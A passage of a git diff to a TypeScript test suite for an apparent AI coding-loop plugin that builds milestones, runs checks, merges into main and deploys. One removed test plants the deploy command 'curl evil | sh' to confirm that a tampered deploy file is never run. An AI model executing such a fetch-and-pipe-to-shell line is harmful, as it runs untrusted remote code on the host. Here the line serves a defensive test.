expect(readLog(log, 2)).toEqual({ entries: [], offset: 2, last: '{"event":"met","goal":"a","branch":"goal/01-a"}' }) - expect(readLog(log, 99).entries).toHaveLength(2) - }) - - test('the log is followed by its last line read, so a trimmed log neither stalls nor replays', () => { - const line = (i: number) => JSON.stringify({ ts: `t${i}`, event: 'start', branch: `b${i}` }) - const text = (from: number, to: number) => `${Array.from({ length: to - from }, (_, k) => line(from + k)).join('\n')}\n` - const first = readLog(text(0, 5), 0) - expect(first.last).toBe(line(4)) - // Trimmed to the same length: only the two new lines. - expect(readLog(text(2, 7), first.offset, first.last).entries.map(e => e.branch)).toEqual(['b5', 'b6']) - // Cleared by hand and refilled: nothing read before is read again. - expect(readLog(text(0, 5), 5, line(4)).entries).toEqual([]) - // Trimmed past the last line read (goal-mode keeps the length, so it is - // never shorter than what was read): the whole window is new. - expect(readLog(text(10, 15), 5, line(4)).entries).toHaveLength(5) - }) - - test('a log read while goal-mode rewrites it (a prefix, a torn last line) replays nothing and loses nothing', () => { - const line = (i: number) => JSON.stringify({ ts: `t${i}`, event: 'start', branch: `b${i}` }) - const text = (from: number, to: number) => `${Array.from({ length: to - from }, (_, k) => line(from + k)).join('\n')}\n` - // A prefix of a log already read to line 4: nothing, and the cursor stays. - const prefix = readLog(text(0, 3), 5, line(4)) - expect(prefix.entries).toEqual([]) - expect(prefix.last).toBe(line(4)) - // A torn last line is not read, and the cursor stays on the last whole one. - const full = text(0, 6) - const torn = readLog(full.slice(0, full.length - 10), 5, line(4)) - expect(torn.entries).toEqual([]) - expect(torn.last).toBe(line(4)) - // The next read, whole, yields that line once. - expect(readLog(full, torn.offset, torn.last).entries.map(e => e.branch)).toEqual(['b5']) - }) - - test('checks, mergeability and PR numbers', () => { - expect(parseChecks('[{"bucket":"pass"},{"bucket":"skipping"}]')).toBe('green') - expect(parseChecks('[{"bucket":"pass"},{"bucket":"pending"}]')).toBe('pending') - expect(parseChecks('[{"bucket":"fail"}]')).toBe('red') - expect(parseChecks('')).toBe('none') - expect(mergeable('{"state":"OPEN","mergeable":"CONFLICTING"}')).toEqual({ open: true, merged: false, conflict: true, unknown: false }) - // A merged PR reports mergeable UNKNOWN; that must not read as "not yet judged". - expect(mergeable('{"state":"MERGED","mergeable":"UNKNOWN"}')).toEqual({ open: false, merged: true, conflict: false, unknown: false }) - expect(prNumber('https://github.com/o/r/pull/42\n')).toBe(42) - }) - - test('gh is aimed at the pushed remote\'s repository, whatever the URL form', () => { - expect(repoSlug('git@github.com:o/r.git\n')).toBe('o/r') - expect(repoSlug('https://github.com/o/r.git')).toBe('o/r') - expect(repoSlug('https://github.com/o/r')).toBe('o/r') - expect(repoSlug('ssh://git@github.com/o/r.git')).toBe('o/r') - expect(repoSlug('https://example.com/o/r.git')).toBeUndefined() - }) - - test('one milestone ships at a time; caps stop the run', () => { - const s = (state: 'push' | 'ci' | 'merged' | 'held', headRef: string) => ({ goal: headRef, headRef, branch: headRef, state, red: 0, since: 0 }) - expect(inFlight([s('merged', 'a'), s('ci', 'b'), s('push', 'c')])?.headRef).toBe('b') - expect(inFlight([s('merged', 'a'), s('held', 'b')])).toBeUndefined() - expect(capReached({ merges: 20, startedAt: 0 }, { maxRounds: 3, maxMerges: 20, maxHours: 24 }, 1)).toContain('merge cap') - expect(capReached({ merges: 0, startedAt: 0 }, { maxRounds: 3, maxMerges: 20, maxHours: 1 }, 3600_001)).toContain('time cap') - }) -}) - -// The machine beneath the plugin, local CI mode: files in memory, git and -// checks answered by argv, goal-mode's loop played by the test. +// The machine beneath the plugin: files in memory, git, gh and checks answered +// by argv, the evaluator by a queue of verdicts. function world(on: On, store: Record = {}) { const w = { - files: new Map([['/repo/.git/info/exclude', '']]), + files: new Map([['/repo/.git/info/exclude', ''], ['/tmp/s.jsonl', '']]), prompts: [] as string[], commands: [] as string[], + // Commands the engine has (/goal where it exists). + commandNames: [] as string[], runs: [] as string[], notifies: [] as string[], pushes: [] as string[], + // Every `git worktree add` (not --detach): the loop's milestone worktrees and remade ones. + adds: [] as string[], checkExit: 0, + dirty: '', + verdicts: [] as string[], + evaluations: 0, // The session's directory (its primary working directory). cwd: '/repo', - // What `gh pr checks` reports, how often it was asked, and the PRs merged. + // What `gh pr checks` reports (all checks), and with --required (undefined: none are required). checks: '[{"bucket":"pass"}]', + required: undefined as string | undefined, ciLooks: 0, merged: [] as string[], + // `gh pr merge` answers an error (a lost reply), and what `gh pr view` says of the PR. + mergeFails: false, + prState: 'OPEN', + // `gh run list` for a PR's branch. + runList: '[]', // Worktree directories removed from under the run, and whether their branches went too. gone: new Set(), branchGone: false, // The check's exit in a fresh checkout, when it differs from the builder's worktree. freshExit: undefined as number | undefined, - // GitHub CI mode, and a branch push whose git cannot be spawned. + // GitHub CI mode, a branch push whose git cannot be spawned, an SSH push refused. github: false, gitGone: false, - // Whether the directory is a git repository (git init makes it one), and whether it has an origin. + sshDenied: false, repo: true, origin: true, - // origin/HEAD as `git symbolic-ref` sees it ('' when it was never set), and the remote's own HEAD branch. originHead: 'origin/main', remoteHead: 'main', - // Paths whose writes fail (a read-only file, a full disk). + // `git for-each-ref refs/heads/goal/`. + branches: '', unwritable: new Set(), - // What goal-mode answers to `loop on`. - loopReply: 'Loop on: started', - // The deploy command's exit, run in the driver's fresh checkout. + // The deploy command's and the smoke check's exits, and the deploy scripts not on main yet. deployExit: 0, + smokeExit: 0, + missing: new Set(), clock: mock.clock(on, { now: 1_000 }), } - // A stored file exists; so does any directory, unless the test removed it (w.gone). const removed = (path: string) => [...w.gone].some(g => path === g || path.startsWith(`${g}/`)) const exists = (path: string) => w.files.has(path) || (!path.includes('/.claude/') && !removed(path)) mock.store(on, store) on('tool.register', (_, e) => ({ value: { tool: `mcp__auto-claude__${e.name}` } })) on('command.register', (_, e) => ({ value: { command: e.name } })) + on('command.list', () => ({ value: w.commandNames.map(name => ({ name })) as never })) on('session.start', (_, e) => ({ cwd: e.cwd })) on('session.id', () => ({ value: 'me' })) on('session.cwd', () => ({ value: w.cwd })) on('prompt.compose', () => ({ sections: [] })) + on('classic.Stop', () => ({})) + on('turn.start', (_, e) => ({ turnId: e.turnId }) as never) + on('turn.complete', (_, e) => ({ text: e.answer }) as never) + on('tool.call', () => ({ result: 'ran' })) on('ui.toast', () => ({ value: undefined })) on('ui.log', () => ({ value: undefined })) on('ui.notify', (_, e) => { @@ -194,19 +111,27 @@ function world(on: On, store: Record = {}) { }) on('command.run', (_, e) => { w.commands.push(`${e.command} ${e.args ?? ''}`.trim()) - return { text: w.loopReply } + return { text: 'ok' } + }) + on('model.complete', () => { + w.evaluations++ + const text = w.verdicts.shift() ?? '{"met": false, "reason": "x"}' + if (text === 'throw') throw new Error('blocked model') + return { value: { isAnswered: true as const, text, usage: USAGE } } }) on('process.run', (_, e) => { const a = e.argv.join(' ') w.runs.push(a) - const ok = (stdout = '', exitCode = 0) => ({ value: { exitCode, stdout, stderr: '', isStdoutTruncated: false, isStderrTruncated: false } }) + const ok = (stdout = '', exitCode = 0, stderr = '') => ({ value: { exitCode, stdout, stderr, isStdoutTruncated: false, isStderrTruncated: false } }) + const cwd = String(e.init?.cwd ?? '') // git cannot start in a directory that is gone (Bun: posix_spawn ENOENT). - if (e.init?.cwd !== undefined && removed(e.init.cwd)) return ok('', -1) + if (cwd !== '' && removed(cwd)) return ok('', -1) if (a.includes('--git-common-dir')) return w.repo ? ok('/repo/.git\n') : ok('', 128) if (a.includes(' init')) { w.repo = true return ok() } + if (a.includes('for-each-ref')) return ok(w.branches) if (a.includes('symbolic-ref --short HEAD')) return ok('main\n') if (e.argv[0] === 'mv') { const [from, to] = e.argv.slice(-2) as [string, string] @@ -223,21 +148,40 @@ function world(on: On, store: Record = {}) { if (a.startsWith('gh repo view')) return ok('', w.github ? 0 : 1) if (a.startsWith('gh pr create')) return ok('https://github.com/o/r/pull/7\n') if (a.startsWith('gh pr checks')) { + if (a.includes('--required')) { + if (w.required === undefined) return ok('', 1, "no required checks reported on the 'x' branch") + w.ciLooks++ + return ok(w.required) + } w.ciLooks++ return ok(w.checks) } - if (a.startsWith('gh pr view')) return ok('{"state":"OPEN","mergeable":"MERGEABLE"}') + if (a.startsWith('gh pr view')) return ok(`{"state":"${w.prState}","mergeable":"MERGEABLE"}`) if (a.startsWith('gh pr merge')) { w.merged.push(a) + if (w.mergeFails) { + w.prState = 'MERGED' + return ok('', 1, 'HTTP 502: Bad Gateway') + } return ok() } + if (a.startsWith('gh pr reopen')) { + w.prState = 'OPEN' + return ok() + } + if (a.startsWith('gh run list')) return ok(w.runList) if (e.argv[0] === 'test' && e.argv[1] === '-d') return ok('', w.gone.has(String(e.argv[2])) ? 1 : 0) + if (e.argv[0] === 'test' && e.argv[1] === '-e') return ok('', w.missing.has(String(e.argv[2])) ? 1 : 0) if (a.includes('rev-parse --verify')) return ok('', w.branchGone ? 1 : 0) - if (a.includes('worktree add') && !a.includes('--detach')) w.gone.delete(String(e.argv[5])) - // A check run in the fresh checkout answers freshExit, when set. - if (e.argv[0] === 'bash' && String(e.init?.cwd ?? '').endsWith('/worktrees/auto-deploy')) return ok('', w.deployExit) - if (e.argv[0] === 'bash') return ok('', String(e.init?.cwd ?? '').endsWith('/worktrees/auto-verify') && w.freshExit !== undefined ? w.freshExit : w.checkExit) - if (w.gitGone && a.includes(' push -u ')) return { value: { exitCode: -1, stdout: '', stderr: "posix_spawn 'git' ENOENT", isStdoutTruncated: false, isStderrTruncated: false } } + if (a.includes('worktree add') && !a.includes('--detach')) { + w.adds.push(a) + w.gone.delete(String(e.argv[5])) + } + if (e.argv[0] === 'bash' && cwd.endsWith('/worktrees/auto-deploy')) return ok('', String(e.argv[2]).startsWith('curl') ? w.smokeExit : w.deployExit) + if (e.argv[0] === 'bash') return ok('', cwd.endsWith('/worktrees/auto-verify') && w.freshExit !== undefined ? w.freshExit : w.checkExit) + if (a.includes('status --porcelain') && !a.includes('--untracked-files')) return ok(w.dirty) + if (w.gitGone && a.includes(' push -u ')) return ok('', -1, "posix_spawn 'git' ENOENT") + if (w.sshDenied && a.includes(' push -u origin ')) return ok('', 128, 'git@github.com: Permission denied (publickey).\nfatal: Could not read from remote repository.') if (a.includes(' push ')) { w.pushes.push(a) return ok() @@ -247,382 +191,217 @@ function world(on: On, store: Record = {}) { return w } +type W = ReturnType + const cmd = ($: Engine, args: string) => $.command.run({ command: 'auto-claude', args, origin: { kind: 'composer' }, presentation: { isFullscreen: false, columns: 80 } }) -// goal-mode's side: each start is logged, then spends one of the gate's credit. -// cap: keep only the last `cap` lines after each append, as goal-mode does (LOOP_LOG_MAX_LINES). -const log = (w: ReturnType, lines: Array<{ event: string } & Record>, cap?: number) => { - for (const line of lines) { - const prev = w.files.get('/repo/.claude/goal-loop.log') ?? '' - const all = `${prev}${JSON.stringify(line)}\n`.split('\n').filter(l => l !== '') - w.files.set('/repo/.claude/goal-loop.log', `${(cap === undefined ? all : all.slice(-cap)).join('\n')}\n`) - if (line.event !== 'start') continue - const credit = Number.parseInt(w.files.get('/repo/.claude/goal-loop.gate') ?? '', 10) - if (Number.isFinite(credit)) w.files.set('/repo/.claude/goal-loop.gate', `${Math.max(credit - 1, 0)}\n`) - } -} -const GATE = '/repo/.claude/goal-loop.gate' -const MIN = 60_000 +const ready = ($: Engine) => $.tool.call({ tool: 'mcp__auto-claude__auto_plan_ready' } as never) +const compose = ($: Engine) => $.prompt.compose({ sections: [], text: '', model: 'claude-opus-5-5', promptModel: 'claude-opus-5-5', surfaces: [], tools: [], outputStyle: null, traits: [] } as never) +const turnStart = ($: Engine) => $.turn.start({ text: '', turnId: 't' } as never) +const turnEnd = ($: Engine) => $.turn.complete({ answer: 'waiting', reason: 'answer', turnId: 't', durationMs: 1, isAborted: false } as never) -async function planned($: Engine, w: ReturnType) { +// Starts a run, plans it and lets the first milestone start (its worktree and kickoff). +async function planned($: Engine, w: W, plan = PLAN) { await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) await cmd($, 'start') - w.files.set('/repo/.claude/auto-plan.md', PLAN) - w.files.set('/repo/.claude/goals.md', QUEUE) - await $.tool.call({ tool: 'mcp__auto-claude__auto_plan_ready' } as never) + w.files.set('/repo/.claude/auto-plan.md', plan) + w.files.set(GOALS, QUEUE) + await ready($) + await w.clock.advance(1_200) } -describe('deploy', () => { - test('the deploy file names a command, optional CodeQL languages and a bounded timeout', () => { - expect(parseDeploy('{"command": "bash scripts/deploy.sh"}')).toEqual({ command: 'bash scripts/deploy.sh', codeql: [], timeoutMs: 600_000 }) - expect(parseDeploy('{"command": "make ship", "codeql": "python", "timeoutSec": 60}')).toEqual({ command: 'make ship', codeql: ['python'], timeoutMs: 60_000 }) - expect(parseDeploy('{"command": "x", "codeql": ["python", "javascript"], "timeoutSec": 9999}')).toMatchObject({ codeql: ['python', 'javascript'], timeoutMs: 600_000 }) - expect(parseDeploy('{"codeql": "python"}')).toHaveProperty('error') - expect(parseDeploy('{"command": "x", "codeql": "py thon"}')).toHaveProperty('error') - expect(parseDeploy('not json')).toHaveProperty('error') - }) - - test('SARIF errors are counted by their own level, else their rule\'s default', () => { - const sarif = JSON.stringify({ - runs: [ - { - tool: { driver: { rules: [{ id: 'py/clear-text-logging-sensitive-data', defaultConfiguration: { level: 'error' } }, { id: 'py/log-injection' }] } }, - results: [ - { ruleId: 'py/clear-text-logging-sensitive-data', locations: [{ physicalLocation: { artifactLocation: { uri: 'broker.py' }, region: { startLine: 12 } } }] }, - { ruleId: 'py/log-injection' }, - { ruleId: 'py/log-injection', level: 'note' }, - ], - }, - ], - }) - expect(countSarif(sarif)).toEqual({ errors: 1, warnings: 1, top: ['py/clear-text-logging-sensitive-data broker.py:12'] }) - expect(countSarif('{')).toBeUndefined() - }) -}) - -const DEPLOY = '/repo/.claude/auto-deploy.json' -const SARIF = '/home/auto-claude-codeql-repo-python.sarif' -// Milestone 1 met and gated: the next tick lands it on main. -async function landFirst(w: ReturnType) { - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - { event: 'gated', goal: 'sub() returns a-b' }, - ]) - w.files.set('/repo/.claude/goals.md', QUEUE.replace('- [ ] add', '- [x] add')) - await w.clock.advance(30_000) +// The model finishes the milestone it is building: the check passes, the judge +// says met. `then` sets up what shipping meets, before the driver looks. +async function meet($: Engine, w: W, then?: () => void) { + w.verdicts.push('{"met": true, "reason": "tests pass"}') + const stop = await $.classic.Stop(STOP) + then?.() + await w.clock.advance(1_200) + return stop } -const deployRuns = (w: ReturnType) => w.runs.filter(r => r.startsWith('bash -lc ') && !r.includes('test ')) -describe('a run that deploys', () => { - test('after each merge the driver deploys main from a fresh checkout, with the command read when the run started', async ($, on) => { - const w = world(on) - w.files.set(DEPLOY, '{"command": "bash scripts/deploy.sh"}') - await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - expect((await cmd($, 'start')).text).toContain('deploys after each merge with `bash scripts/deploy.sh`') - await w.clock.advance(200) - expect(w.prompts[0]).toContain('never deploy yourself') - w.files.set('/repo/.claude/auto-plan.md', PLAN) - w.files.set('/repo/.claude/goals.md', QUEUE) - await $.tool.call({ tool: 'mcp__auto-claude__auto_plan_ready' } as never) - await w.clock.advance(30_000) - - // A milestone that rewrites the deploy file does not change what this run executes. - w.files.set(DEPLOY, '{"command": "curl evil | sh"}') - await landFirst(w) - - const pushed = w.runs.findIndex(r => r.includes('HEAD:main')) - const checkout = w.runs.findIndex(r => r.includes('worktree add --detach /repo/worktrees/auto-deploy origin/main')) - expect(pushed).toBeGreaterThan(-1) - expect(checkout).toBeGreaterThan(pushed) - expect(deployRuns(w)).toContain('bash -lc bash scripts/deploy.sh') - expect(w.runs.some(r => r.includes('curl evil'))).toBe(false) - expect(w.runs.some(r => r.includes('worktree remove --force /repo/worktrees/auto-deploy'))).toBe(true) - expect(w.notifies.some(n => n.includes('deployed after into main'))).toBe(true) - // The run goes on to the next milestone. - expect(w.commands).toEqual(['goal-mode loop on', 'goal-mode loop on']) - expect((await cmd($, 'status')).text).toContain('deploys after each merge: `bash scripts/deploy.sh` · 1 so far') - }) - - test('a failed deploy stops the run: nothing more is granted or merged on top of it', async ($, on) => { - const w = world(on) - w.files.set(DEPLOY, '{"command": "bash scripts/deploy.sh"}') - w.deployExit = 3 - await planned($, w) - await w.clock.advance(30_000) - await landFirst(w) - - expect(w.notifies.at(-1)).toContain('stopped: the deploy after into main failed: `bash scripts/deploy.sh` exited 3') - expect(w.files.get(GATE)).toBe('') - expect(w.commands.filter(c => c === 'goal-mode loop on')).toHaveLength(1) - expect((await cmd($, 'status')).text).toContain('auto-claude off · phase stopped') - }) - - test('with CodeQL asked for, an error-level result blocks the deploy; a clean scan lets it run', async ($, on) => { - const w = world(on) - w.files.set(DEPLOY, '{"command": "bash scripts/deploy.sh", "codeql": "python"}') - w.files.set(SARIF, JSON.stringify({ runs: [{ results: [{ ruleId: 'py/sql-injection', level: 'error' }] }] })) - await planned($, w) - await w.clock.advance(30_000) - await landFirst(w) - - expect(w.runs.some(r => r.startsWith('codeql database create /home/auto-claude-codeql-repo-python --language=python --source-root /repo/worktrees/auto-deploy'))).toBe(true) - expect(w.runs.some(r => r.includes('codeql/python-queries:codeql-suites/python-security-and-quality.qls'))).toBe(true) - expect(deployRuns(w)).toEqual([]) - expect(w.notifies.at(-1)).toContain('CodeQL found 1 error-level result(s) in python (py/sql-injection ?:?)') - }) - - test('a CodeQL scan with only warnings tells them and deploys', async ($, on) => { - const w = world(on) - w.files.set(DEPLOY, '{"command": "bash scripts/deploy.sh", "codeql": "python"}') - w.files.set(SARIF, JSON.stringify({ runs: [{ results: [{ ruleId: 'py/log-injection', level: 'warning' }] }] })) - await planned($, w) - await w.clock.advance(30_000) - await landFirst(w) - - expect(deployRuns(w)).toContain('bash -lc bash scripts/deploy.sh') - expect(w.notifies.some(n => n.includes('CodeQL python: 1 warning(s), no errors'))).toBe(true) - }) - - test('a broken deploy file keeps the run from starting', async ($, on) => { - const w = world(on) - w.files.set(DEPLOY, '{"codeql": "python"}') - await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - expect((await cmd($, 'start')).text).toContain('Not started: .claude/auto-deploy.json needs a "command" string') - expect(w.files.has('/repo/.claude/goal-loop.gate')).toBe(false) - }) -}) +const deployRuns = (w: W) => w.runs.filter(r => r.startsWith('bash -lc ') && (r.includes('deploy.sh') || r.includes('curl'))) describe('a run, local CI', () => { - test('plan → each milestone merged into main one at a time → final check → done', async ($, on) => { + test('plan → the loop builds each milestone → merged into main one at a time → final check → done', async ($, on) => { const w = world(on) await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - - expect((await cmd($, 'start add and sub')).text).toContain('local CI, merges into main') + expect((await cmd($, 'start add and sub')).text).toContain('local CI, merges into main, deploys as the plan says') await w.clock.advance(200) expect(w.prompts[0]).toContain('Their aim: add and sub') - expect(w.files.get('/repo/.claude/goal-loop.base')).toBe('origin/main\n') - expect(w.files.get('/repo/.claude/goal-loop.gate')).toBe('0\n') + // No files to steer a loop in another plugin any more. + expect(w.files.has('/repo/.claude/goal-loop.base')).toBe(false) + expect(w.files.has('/repo/.claude/goal-loop.gate')).toBe(false) expect(w.files.get('/repo/.claude/goal-loop.deny')).toContain('gh\\s+pr\\s+merge') + expect(w.files.get('/repo/.git/info/exclude')).toContain('.claude/goals.md') - // Not ready until both files hold up. - expect(String((await $.tool.call({ tool: 'mcp__auto-claude__auto_plan_ready' } as never)).result)).toContain('Not ready') + expect(String((await ready($)).result)).toContain('Not ready') w.files.set('/repo/.claude/auto-plan.md', PLAN) - w.files.set('/repo/.claude/goals.md', QUEUE) - expect(String((await $.tool.call({ tool: 'mcp__auto-claude__auto_plan_ready' } as never)).result)).toContain('Plan accepted: 2 milestone(s)') - expect(w.files.get('/repo/.claude/goal-loop.gate')).toBe('1\n') - // The loop command runs from the next tick, not from the tool call. - expect(w.commands).toEqual([]) - await w.clock.advance(30_000) - expect(w.commands).toEqual(['goal-mode loop on']) - - // The loop builds milestone 1 and holds at the gate. - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - { event: 'gated', goal: 'sub() returns a-b' }, - ]) - w.files.set('/repo/.claude/goals.md', QUEUE.replace('- [ ] add', '- [x] add')) - // One tick: check, rebase, push to main, worktree removed, the next - // start granted and the loop asked on. - await w.clock.advance(30_000) - expect(w.pushes.some(p => p.includes('HEAD:main') && p.includes('goal-01-add'))).toBe(true) - expect(w.runs.some(r => r.includes('worktree remove /repo/worktrees/goal-01-add'))).toBe(true) - // One more start granted, whatever goal-mode's own seq is. - expect(w.files.get('/repo/.claude/goal-loop.gate')).toBe('1\n') - expect(w.commands).toEqual(['goal-mode loop on', 'goal-mode loop on']) - - // Milestone 2, then the queue empties: the final check runs on merged main. - log(w, [ - { event: 'start', goal: 'sub() returns a-b', worktree: '/repo/worktrees/goal-02-sub', branch: 'goal/02-sub' }, - { event: 'met', goal: 'sub() returns a-b', branch: 'goal/02-sub' }, - { event: 'queue-empty' }, - ]) - w.files.set('/repo/.claude/goals.md', QUEUE.replace(/- \[ \]/g, '- [x]')) - for (let i = 0; i < 4; i++) await w.clock.advance(30_000) + w.files.set(GOALS, QUEUE) + const accepted = String((await ready($)).result) + expect(accepted).toContain('Plan accepted: 2 milestone(s)') + expect(accepted).toContain('deploys nothing (a library; nothing runs anywhere)') + // The driver starts the first milestone itself: its worktree from origin/main, then its kickoff. + await w.clock.advance(1_200) + expect(w.adds).toEqual([`git -C /repo worktree add ${WT1} -b ${BR1} origin/main`]) + expect(w.prompts.at(-1)).toContain('[auto-claude loop] Milestone #1: add() returns a+b') + expect(w.commands.filter(c => c.startsWith('goal-mode'))).toEqual([]) + + // Met: checked, judged, merged into main, the worktree removed and the next one started. + expect((await meet($, w)).block).toBeUndefined() + expect(w.files.get(GOALS)).toMatch(/- \[x\] add\(\) returns a\+b/) + await w.clock.advance(TICK) + expect(w.pushes.some(p => p.includes('HEAD:main') && p.includes(WT1))).toBe(true) + expect(w.runs).toContain(`git -C /repo worktree remove ${WT1}`) + expect(w.adds.at(-1)).toBe(`git -C /repo worktree add ${WT2} -b ${BR2} origin/main`) + + // Milestone 2, then the queue is done: the final check runs on merged main. + await meet($, w) + for (let i = 0; i < 3; i++) await w.clock.advance(TICK) expect(w.runs.some(r => r.includes('worktree add --detach /repo/worktrees/auto-final origin/main'))).toBe(true) - expect(w.files.get('/repo/.claude/auto-plan.md')).toContain('## Result') + expect(w.files.get('/repo/.claude/auto-plan.md')).toContain('Nothing deployed: a library; nothing runs anywhere.') expect(w.notifies.at(-1)).toContain('finished: the final check passed after 1 round(s). 2 merged, 0 held') expect((await cmd($, 'status')).text).toContain('auto-claude off · phase done') }) - test('a loop log at goal-mode\'s 2000-line cap still yields every new event (the line count no longer grows)', async ($, on) => { + test('a loop log at its 2000-line cap still yields every new event', async ($, on) => { const w = world(on) - const CAP = 2000 - w.files.set('/repo/.claude/goal-loop.log', `${Array.from({ length: CAP }, (_, i) => JSON.stringify({ ts: `t${i}`, event: 'denied' })).join('\n')}\n`) + w.files.set(LOG, `${Array.from({ length: 2000 }, (_, i) => JSON.stringify({ ts: `t${i}`, event: 'denied' })).join('\n')}\n`) await planned($, w) - await w.clock.advance(30_000) - log(w, [ - { ts: 'a1', event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { ts: 'a2', event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ], CAP) - w.files.set('/repo/.claude/goals.md', QUEUE.replace('- [ ] add', '- [x] add')) - await w.clock.advance(30_000) - expect(w.pushes.some(p => p.includes('HEAD:main') && p.includes('goal-01-add'))).toBe(true) - // The next milestone is read too, after more trimming. - log(w, [ - { ts: 'b1', event: 'start', goal: 'sub() returns a-b', worktree: '/repo/worktrees/goal-02-sub', branch: 'goal/02-sub' }, - { ts: 'b2', event: 'met', goal: 'sub() returns a-b', branch: 'goal/02-sub' }, - ], CAP) - await w.clock.advance(30_000) - expect(w.pushes.some(p => p.includes('HEAD:main') && p.includes('goal-02-sub'))).toBe(true) + await meet($, w) + await w.clock.advance(TICK) + await meet($, w) + await w.clock.advance(TICK) + expect((w.files.get(LOG) ?? '').trim().split('\n')).toHaveLength(2000) // Each milestone landed once: no event was read twice. - expect(w.pushes.filter(p => p.includes('HEAD:main')).length).toBe(2) + expect(w.pushes.filter(p => p.includes('HEAD:main'))).toHaveLength(2) expect((await cmd($, 'status')).text).toContain('2 merged, 0 held') }) - test('an origin with no origin/HEAD (a clone made by remote add + fetch) takes the remote\'s own default branch, not main', async ($, on) => { + test('an origin with no origin/HEAD takes the remote\'s own default branch, not main', async ($, on) => { const w = world(on) w.originHead = '' w.remoteHead = 'master' await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) expect((await cmd($, 'start')).text).toContain('merges into master') - expect(w.files.get('/repo/.claude/goal-loop.base')).toBe('origin/master\n') + w.files.set('/repo/.claude/auto-plan.md', PLAN) + w.files.set(GOALS, QUEUE) + await ready($) + await w.clock.advance(1_200) + expect(w.adds[0]).toBe(`git -C /repo worktree add ${WT1} -b ${BR1} origin/master`) }) - test('a tick that fails every time is told to the person once, with its error, and again only after it recovered', async ($, on) => { + test('a tick that fails every time is told to the person once, with its error, and again only after it recovered', { timeoutMs: 30_000 }, async ($, on) => { const w = world(on) await planned($, w) - await w.clock.advance(30_000) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - w.files.set('/repo/.claude/goals.md', QUEUE.replace('- [ ] add', '- [x] add')) - // Landing milestone 1 is fine; granting the next start cannot write the gate. - w.unwritable.add(GATE) - for (let i = 0; i < 10; i++) await w.clock.advance(30_000) + // The fresh checkout fails, and the fix line cannot be written. + await meet($, w, () => { + w.freshExit = 1 + w.unwritable.add(GOALS) + }) + for (let i = 0; i < 8; i++) await w.clock.advance(TICK) const told = w.notifies.filter(n => n.includes('tick fails')) expect(told).toHaveLength(1) expect(told[0]).toContain('EACCES') expect((await cmd($, 'status')).text).toContain('stalled: every tick fails') - w.unwritable.delete(GATE) - await w.clock.advance(30_000) + w.unwritable.delete(GOALS) + await w.clock.advance(TICK) expect((await cmd($, 'status')).text).not.toContain('every tick fails') }) - test('the time cap is counted on the engine\'s clock: 24 h after the start the run stops', async ($, on) => { - const w = world(on) - await planned($, w) - log(w, [{ event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }]) - await w.clock.advance(23 * 60 * MIN) + test('the time cap is counted on the engine\'s clock: 24 h after the start the run stops', { timeoutMs: 30_000 }, async ($, on) => { + const run = (startedAt: number) => ({ on: true, phase: 'run', root: '/repo', sessionId: 'me', hint: '', round: 1, startedAt, remote: 'origin', defaultBranch: 'main', ciMode: 'local', logOffset: 0, started: 0, finished: 0, worktrees: {}, ships: [], fixes: {}, merges: 0, held: 0, queueEmpty: false }) + const w = world(on, { 'auto:/repo': run(1_000 - 23 * 60 * MIN), 'loop:/repo': { repoRoot: '/repo', seq: 0, retries: 0 } }) + w.files.set(GOALS, QUEUE) + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + // The session works on its milestone the whole time. + await turnStart($) + await w.clock.advance(TICK) expect(w.notifies.some(n => n.includes('time cap'))).toBe(false) - await w.clock.advance(61 * MIN) + await w.clock.advance(60 * MIN) expect(w.notifies.some(n => n.includes('stopped: the time cap (24 h) was reached'))).toBe(true) }) test('a loop log cleared by hand is read from its start once it stays short for a second tick', async ($, on) => { const w = world(on) - w.files.set('/repo/.claude/goal-loop.log', `${Array.from({ length: 40 }, (_, i) => JSON.stringify({ ts: `t${i}`, event: 'denied' })).join('\n')}\n`) + w.files.set(LOG, `${Array.from({ length: 40 }, (_, i) => JSON.stringify({ ts: `t${i}`, event: 'denied' })).join('\n')}\n`) await planned($, w) - await w.clock.advance(30_000) - w.files.set('/repo/.claude/goal-loop.log', '') - log(w, [ - { ts: 'a1', event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { ts: 'a2', event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - w.files.set('/repo/.claude/goals.md', QUEUE.replace('- [ ] add', '- [x] add')) - await w.clock.advance(30_000) - expect(w.pushes.some(p => p.includes('goal-01-add'))).toBe(false) - await w.clock.advance(30_000) - expect(w.pushes.filter(p => p.includes('HEAD:main') && p.includes('goal-01-add'))).toHaveLength(1) + await w.clock.advance(TICK) + w.files.set(LOG, '') + await meet($, w) + expect(w.pushes.some(p => p.includes(WT1))).toBe(false) + await w.clock.advance(TICK) + expect(w.pushes.filter(p => p.includes('HEAD:main') && p.includes(WT1))).toHaveLength(1) }) - test('the gate stays shut while the loop is still building a milestone', async ($, on) => { + test('nothing more starts while the loop is still building a milestone', async ($, on) => { const w = world(on) - await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - await cmd($, 'start') - w.files.set('/repo/.claude/auto-plan.md', PLAN) - w.files.set('/repo/.claude/goals.md', QUEUE) - await $.tool.call({ tool: 'mcp__auto-claude__auto_plan_ready' } as never) - log(w, [{ event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }]) - for (let i = 0; i < 3; i++) await w.clock.advance(30_000) - 